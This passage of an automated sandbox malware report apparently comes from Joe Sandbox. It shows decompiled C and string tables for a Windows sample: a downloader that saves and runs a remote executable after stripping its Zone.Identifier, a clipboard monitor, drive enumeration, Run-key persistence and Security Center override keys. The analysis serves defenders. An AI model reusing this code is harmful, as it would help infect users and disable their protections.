Strings

Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040617E
038038, xrefs: 00405E7C
%s\%s, xrefs: 00406130
AntiVirusOverride, xrefs: 004063E1
UpdatesOverride, xrefs: 00406313
UpdatesDisableNotify, xrefs: 0040643E
AntiSpywareOverride, xrefs: 004063C2
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 0040635F
2393737939739, xrefs: 00405E46
%s:Zone.Identifier, xrefs: 00405EFE
%s\tbnds.dat, xrefs: 00406491
333383737, xrefs: 00405E77
2282688262, xrefs: 00405E67
AntiSpywareOverride, xrefs: 004062B6
FirewallOverride, xrefs: 00406384
SOFTWARE\Microsoft\Security Center, xrefs: 00406253
297973937,, xrefs: 00405E5C
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040605D
337372927, xrefs: 00405E6C
Windows Settings, xrefs: 004060DB, 004061FC
FirewallDisableNotify, xrefs: 00406297
AntiVirusOverride, xrefs: 004062D5
AntiVirusDisableNotify, xrefs: 00406400
Z#, xrefs: 00405E2E
FirewallOverride, xrefs: 00406278
2u9o0b7n, xrefs: 00405E98
AntiVirusDisableNotify, xrefs: 004062F4
FirewallDisableNotify, xrefs: 004063A3
UpdatesOverride, xrefs: 0040641F
C:\Users\user\tbcmds.dat, xrefs: 004064B0
%windir%, xrefs: 00405FF8
%s\%s, xrefs: 0040600F
C:\Users\user\tbnds.dat, xrefs: 00406496
UpdatesDisableNotify, xrefs: 00406332
%s\tbcmds.dat, xrefs: 004064AB
%userprofile%, xrefs: 00405F2C
33973397337, xrefs: 00405E57

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Value$File$Sleep$Createwsprintf$CloseExitOpenProcess$CopyThread$AttributesEnvironmentExpandMoveNamePathStrings$DeleteErrorEventExistsFindLastModuleMutexStartup
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$038038$2282688262$2393737939739$297973937,$2u9o0b7n$333383737$337372927$33973397337$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\tbcmds.dat$C:\Users\user\tbnds.dat$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$Z#
API String ID: 2549499605-2584291175
Opcode ID: 9df56a7f00c6026db0bf5161a891f2dc72f09f899337a89f395dca71d961f2d3
Instruction ID: 83af2952ddda4d09f50abae1b8075a5cb95368c24024515adc0fadd5cc82fc98
Opcode Fuzzy Hash: 9df56a7f00c6026db0bf5161a891f2dc72f09f899337a89f395dca71d961f2d3
Instruction Fuzzy Hash: D1122EB1B80318ABE7209B50DC4AFD97774EB48B05F5081A5B309AA1D1D7F4AAC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4F0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040D4F0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				void* _t94;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				void* _t112;
				void* _t115;
				int _t119;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_t94 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 0, 0, 0, 0); // executed
				_v2376 = _t94;
				if(_v2376 != 0) {
					_t112 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0); // executed
					_v1576 = _t112;
					if(_v1576 != 0) {
						_t115 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0); // executed
						_v1580 = _t115;
						if(_v1580 != 0xffffffff) {
							while(1) {
								_t119 = InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372); // executed
								if(_t119 == 0 || _v2372 == 0) {
									break;
								}
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0); // executed
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524); // executed
							Sleep(0x3e8);
							_t125 = E0040D1D0( &_v1572); // executed
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D390( &_v1572); // executed
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405de1
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040ECB2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D1D0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D390( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405de1
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

0x0040d500
0x0040d505
0x0040d508
0x0040d520
0x0040d529
0x0040d538
0x0040d53e
0x0040d546
0x0040d54c
0x0040d553
0x0040d568
0x0040d583
0x0040d58b
0x0040d590
0x0040d59f
0x0040d5a4
0x0040d5c6
0x0040d5cc
0x0040d5dc
0x0040d5e2
0x0040d5ef
0x0040d60b
0x0040d611
0x0040d61e
0x0040d63a
0x0040d640
0x0040d64d
0x0040d653
0x0040d66d
0x0040d675
0x00000000
0x00000000
0x0040d69e
0x0040d69e
0x0040d6ad
0x0040d6c6
0x0040d6d6
0x0040d6e1
0x0040d6ee
0x0040d6f3
0x0040d6fb
0x0040d740
0x0040d6fd
0x0040d702
0x0040d70f
0x0040d714
0x0040d71d
0x0040d71f
0x0040d726
0x0040d72a
0x0040d72a
0x0040d730
0x0040d730
0x0040d737
0x0040d6fb
0x0040d74d
0x0040d74d
0x0040d75a
0x0040d75a
0x0040d767
0x0040d772
0x0040d778
0x0040d781
0x0040d787
0x0040d78c
0x0040d79e
0x0040d7a4
0x0040d7a9
0x0040d7b8
0x0040d7bd
0x0040d7df
0x0040d7e8
0x0040d7ea
0x0040d7f2
0x0040d7f9
0x0040d7fa
0x0040d7fc
0x0040d803
0x0040d81c
0x0040d82c
0x0040d837
0x0040d851
0x00000000
0x0040d88e
0x0040d858
0x0040d86d
0x0040d872
0x00000000
0x00000000
0x00000000
0x0040d874
0x0040d87b
0x00000000
0x00000000
0x0040d87f
0x0040d87f
0x0040d803
0x0040d897

APIs

GetTickCount.KERNEL32 ref: 0040D4F9
srand.MSVCRT ref: 0040D500
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D520
mbstowcs.NTDLL ref: 0040D583
rand.MSVCRT ref: 0040D58B
rand.MSVCRT ref: 0040D59F
wsprintfW.USER32 ref: 0040D5C6
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D5DC
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D60B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D63A
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D66D
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D69E
CloseHandle.KERNEL32(000000FF), ref: 0040D6AD
wsprintfW.USER32 ref: 0040D6C6
DeleteFileW.KERNEL32(?), ref: 0040D6D6
ExitProcess.KERNEL32 ref: 0040D72A
Sleep.KERNEL32(000007D0), ref: 0040D702

Part of subcall function 0040D390: memset.NTDLL ref: 0040D39E
Part of subcall function 0040D390: CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Part of subcall function 0040D390: Sleep.KERNEL32(000003E8), ref: 0040D3F5

DeleteFileW.KERNEL32(?), ref: 0040D740
CloseHandle.KERNEL32(000000FF), ref: 0040D74D
InternetCloseHandle.WININET(00000000), ref: 0040D75A
InternetCloseHandle.WININET(00000000), ref: 0040D767
Sleep.KERNEL32(000003E8), ref: 0040D772
rand.MSVCRT ref: 0040D787
Sleep.KERNEL32 ref: 0040D79E
rand.MSVCRT ref: 0040D7A4
rand.MSVCRT ref: 0040D7B8
wsprintfW.USER32 ref: 0040D7DF
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D7FC
wsprintfW.USER32 ref: 0040D81C
DeleteFileW.KERNEL32(?), ref: 0040D82C
Sleep.KERNEL32(000003E8), ref: 0040D837
Sleep.KERNEL32(000003E8), ref: 0040D6E1

Part of subcall function 0040D1D0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
Part of subcall function 0040D1D0: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
Part of subcall function 0040D1D0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
Part of subcall function 0040D1D0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D

Sleep.KERNEL32(000007D0), ref: 0040D858
ExitProcess.KERNEL32 ref: 0040D87F
DeleteFileW.KERNEL32(?), ref: 0040D88E

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D5D7
%temp%, xrefs: 0040D51B
%s:Zone.Identifier, xrefs: 0040D810
%s\%d%d.exe, xrefs: 0040D5BA
%s:Zone.Identifier, xrefs: 0040D6BA
%s\%d%d.exe, xrefs: 0040D7D3
]@, xrefs: 0040D874, 0040D71F

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36$]@
API String ID: 3135114409-3650745090
Opcode ID: 253f5bf38e39e51211eba36c55abd417b9e55c54e15ab7f3e3e88540c4e70a93
Instruction ID: 4a692bf560fa698191a4ba968421e092d812baa048ff7158642ad85748ebf153
Opcode Fuzzy Hash: 253f5bf38e39e51211eba36c55abd417b9e55c54e15ab7f3e3e88540c4e70a93
Instruction Fuzzy Hash: C291C6B5D00318ABEB24DB50DC45FED7779AB88301F0484F9F609A61C1DAB99AC4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004041A0(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				long _t75;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						_t75 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
						return _t75;
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403FB0(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E004040D0(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403EF0(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408C70(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}

0x004041b2
0x004041b8
0x004041c2
0x004041ed
0x0040421c
0x0040423a
0x0040424c
0x0040424c
0x0040421e
0x00404221
0x0040422e
0x0040422e
0x00000000
0x004041ef
0x004043d4
0x004043e4
0x004043ed
0x004043ed
0x004041ed
0x004041cb
0x00404257
0x00404268
0x0040427d
0x00404292
0x00404294
0x00404294
0x0040427f
0x0040427f
0x0040427f
0x0040426a
0x0040426a
0x0040426a
0x0040429f
0x0040436f
0x00404373
0x00404385
0x00404385
0x004042b5
0x004042bf
0x004042c6
0x004042d7
0x004042de
0x004042e5
0x004042ef
0x004042f6
0x00404321
0x00404326
0x00404329
0x004042f8
0x004042fc
0x00404336
0x0040433b
0x0040433e
0x004042fe
0x00404302
0x0040430c
0x00404311
0x00404314
0x00404314
0x00404302
0x004042fc
0x00404345
0x0040434b
0x00404355
0x0040435b
0x00404367
0x0040436c
0x00000000
0x00404355
0x00000000
0x004042e0
0x004042c8
0x00000000
0x0040429f
0x004041d5
0x004041fe
0x0040420b
0x004041d7
0x004041db
0x0040438f
0x00404395
0x00404398
0x0040439b
0x004043a4
0x004043ad
0x004043b1
0x004043c0
0x004043ce
0x004043ce
0x004041db
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041AC
SetClipboardViewer.USER32 ref: 004041F8
SetWindowLongW.USER32 ref: 0040420B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00404260
OpenClipboard.USER32(00000000), ref: 004042A7
GetClipboardData.USER32 ref: 004042B9
RegisterRawInputDevices.USER32 ref: 004043C0
ChangeClipboardChain.USER32 ref: 004043CE
DefWindowProcA.USER32(?,?,?,?), ref: 004043E4

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction ID: 12af2944b2afbdd2840b1e0cc58b104c1e1997fab1ca1becb874473cf393234d
Opcode Fuzzy Hash: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction Fuzzy Hash: 927111B4A00208EFDF14DF94D948BEE77B4AF88305F14856AFA05B72D0D7799A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004043F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004043F0() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				struct HWND__* _t27;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E004041A0;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1); // executed
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_t27 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0); // executed
					_v8 = _t27;
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}

0x004043f9
0x004043f9
0x00404408
0x0040440d
0x00404410
0x00404417
0x00404426
0x0040442f
0x00404432
0x00404434
0x0040443a
0x00404456
0x0040445c
0x0040446c
0x0040448c
0x00404492
0x00404499
0x0040449d
0x004044b5
0x004044bf
0x004044bf
0x00000000
0x0040449d
0x00000000
0x004044c7
0x004044c7
0x004044d1

APIs

memset.NTDLL ref: 00404408
GetModuleHandleW.KERNEL32(00000000), ref: 00404420
Sleep.KERNEL32(00000001), ref: 00404434
GetTickCount.KERNEL32 ref: 0040443A
GetTickCount.KERNEL32(00000000), ref: 00404443
wsprintfW.USER32 ref: 00404456
RegisterClassExW.USER32(00000030), ref: 00404463
CreateWindowExW.USER32 ref: 0040448C
GetMessageA.USER32 ref: 004044A7
TranslateMessage.USER32(?), ref: 004044B5
DispatchMessageA.USER32 ref: 004044BF
ExitThread.KERNEL32 ref: 004044D1

Strings

0, xrefs: 00404410
%x%X, xrefs: 0040444A

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction ID: 3e2b717ade092063a9efcdadcacb4b05de8fa546afe9c034d67f52ff400308d4
Opcode Fuzzy Hash: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction Fuzzy Hash: 732121B0940318ABEB109BE0DC4DFEE7B78BB48701F548529F601B61D0DBB995448B69

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E004054A0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8); // executed
				GetModuleFileNameW(0, 0x4163c0, 0x104);
				_t34 = E0040D180(0x4163c0); // executed
				_t69 = _t68 + 4;
				 *0x4163b8 = _t34;
				while(1 != 0) {
					_t36 = E00404CB0(); // executed
					_v8 = _t36;
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404C50(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040EE10();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404FC0( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0); // executed
				}
				ExitThread(0);
			}

0x004054ae
0x004054c0
0x004054cb
0x004054d0
0x004054d3
0x004054d8
0x004054e5
0x004054ea
0x004054ed
0x004054ff
0x00405515
0x0040551a
0x0040551d
0x00405523
0x00405530
0x0040555f
0x00405574
0x0040557a
0x0040557c
0x00405581
0x00405587
0x00405588
0x0040558e
0x0040558f
0x00405594
0x004055a2
0x004055a8
0x004055b4
0x004055c2
0x004055c8
0x004055c8
0x004055e5
0x0040560b
0x00405610
0x00405610
0x004054fc
0x004054fc
0x0040561d
0x0040561d
0x0040562a

APIs

Sleep.KERNEL32(000003E8), ref: 004054AE
GetModuleFileNameW.KERNEL32(00000000,004163C0,00000104), ref: 004054C0

Part of subcall function 0040D180: CreateFileW.KERNEL32(004054D0,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040D1A0
Part of subcall function 0040D180: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
Part of subcall function 0040D180: CloseHandle.KERNEL32(000000FF), ref: 0040D1C2

ExitThread.KERNEL32 ref: 0040562A

Part of subcall function 00404CB0: GetLogicalDrives.KERNEL32 ref: 00404CB6
Part of subcall function 00404CB0: RegOpenKeyExW.KERNEL32 ref: 00404D04
Part of subcall function 00404CB0: RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
Part of subcall function 00404CB0: RegCloseKey.ADVAPI32(?), ref: 00404D4E

Sleep.KERNEL32(000007D0), ref: 0040561D

Part of subcall function 00404C50: lstrcpyW.KERNEL32(?,?), ref: 00404CA3

GetVolumeInformationW.KERNEL32 ref: 0040555F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00405574
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040558F
wsprintfW.USER32 ref: 004055A2
wsprintfW.USER32 ref: 004055C2
wsprintfW.USER32 ref: 004055E5

Strings

%s%s, xrefs: 004055D9
Unnamed volume, xrefs: 004055B6
(%dGB), xrefs: 00405596

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction ID: 9bd4fa2fb620ac2810ea8b244f600aa7f59dc27fdf478d4548bf3fce0c8904cf
Opcode Fuzzy Hash: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction Fuzzy Hash: 0D418371900208BBE714DB94DC45FEE7778AB48700F1085AAF209B61D0DA799B84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00409A30 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409A30(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
